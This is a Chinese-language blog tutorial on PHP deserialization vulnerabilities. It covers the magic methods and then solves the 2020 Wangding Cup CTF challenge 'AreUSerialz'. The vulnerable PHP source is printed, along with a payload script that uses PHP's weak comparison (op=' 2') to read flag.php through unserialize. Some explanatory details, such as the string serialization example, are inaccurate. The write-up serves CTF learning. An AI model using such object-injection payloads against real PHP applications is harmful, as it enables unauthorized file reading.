PHP反序列化入门到上手-网鼎杯-AreUSerialz


0x00 漏洞形成原理

序列化就是将对象转为字符串,反序列化相反,数据的格式的转换对象的序列化利于对象的传输的保存,也可以让多个文件共享对象。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

例:java,php,js,c—–序列化后——-二进制,XML,json

序列化后的对象

0x01 PHP反序列化漏洞分类

1)无类:不存在魔术方法函数
2)有类有类涉及到反序列化漏洞最重要的知识点,‘有类’类型的反序列化存在魔术方法,

所谓魔术方法,便是一些指定的函数,当对象满足魔术函数的要求,便会触发魔术函数,输出函数指定的对象,这类魔术方法函数的集合,简单来讲便形成一个类,无类则不存在魔术函数,直接将对象虚序列化或者反序列化。

0x02 序列化实例讲解

1)序列化首先需要提及两个函数,
serialize:将对象序列化输出
unserialize:将对象反序列化还原输出

2)序列化函数理解
string类型’123‘序列化为i:3:’123’
int类型123序列化:i:123
序列化输出

3)有类反序列化代码演示
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
对应输出参考下列魔术函数
l理解魔术函数输出
被新建调用,被执行调用,被结束调用………….被调用则触发魔术方法

理解php反序列化构造命令执行:

理解php反序列化语句执行

0x03 魔术方法函数参考

参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

函数举例:
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

0x04 网鼎杯-2020-青龙组-AreUSerialz反序列化真题

解题思路:
1.确认储存flag
2.两个魔术方法

3.对象绕过靶机信息

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

思路

两个魔法函数

__construct()//创建对象时触发
1

__destruct() //对象被销毁时触发
2
flag储存在目的便是读取他
flag位置
解读
解读
突破点:需要让op值为2则触发读取获取flag
被过滤

使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。

__destruct函数对$this->op进行了===判断如果内容在2字符串时会赋值为1, process函数中使用==对$this->op进行判断(为2的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字2或字符串’空格+2‘绕过判断。
=== 验证数值 类型 == 验证数值 弱类型检测 则可以写入’ 2‘绕过类型检测

<?php
class FileHandler{
	public $op=' 2';//源码告诉我们op为1时候是执行写入为2时执行读
	public $filename="flag.php";//文件开头调用的是flag.php
    public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

payload: 构造熬过输出

构造传参,获取flag
str传参

PHP反序列化相对于其他漏洞,要深入学习,对新手小白还是存在一定的难度。


文章作者: 告白
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 告白 !
  目录